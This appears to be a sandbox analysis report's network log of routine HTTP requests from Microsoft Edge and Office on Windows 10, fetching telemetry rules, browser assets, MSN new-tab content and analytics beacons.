Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731186584992&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0722F0CD1C5A69A60479E5FF1DAB68A5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731186584991&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=aefa01274bcd4663996fc7c7749d505a&activityId=aefa01274bcd4663996fc7c7749d505a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; _EDGE_S=F=1&SID=37668B7EFE75664B298B9E4CFFCE6792; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0722F0CD1C5A69A60479E5FF1DAB68A5&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=17d64cd51cfb4c9fbc09d85d82c00702 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; _EDGE_S=F=1&SID=37668B7EFE75664B298B9E4CFFCE6792; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731186584992&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0722F0CD1C5A69A60479E5FF1DAB68A5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1B42f4103cd219d11b9809b1731186587; XID=1B42f4103cd219d11b9809b1731186587
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0722F0CD1C5A69A60479E5FF1DAB68A5&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=29ab0aed2eee4220dbd1211e769df0e9 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; _EDGE_S=F=1&SID=37668B7EFE75664B298B9E4CFFCE6792; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731186584991&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=aefa01274bcd4663996fc7c7749d505a&activityId=aefa01274bcd4663996fc7c7749d505a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E74B85AA8FF2479AA80487924EBFDDA9&MUID=0722F0CD1C5A69A60479E5FF1DAB68A5 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; _EDGE_S=F=1&SID=37668B7EFE75664B298B9E4CFFCE6792; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
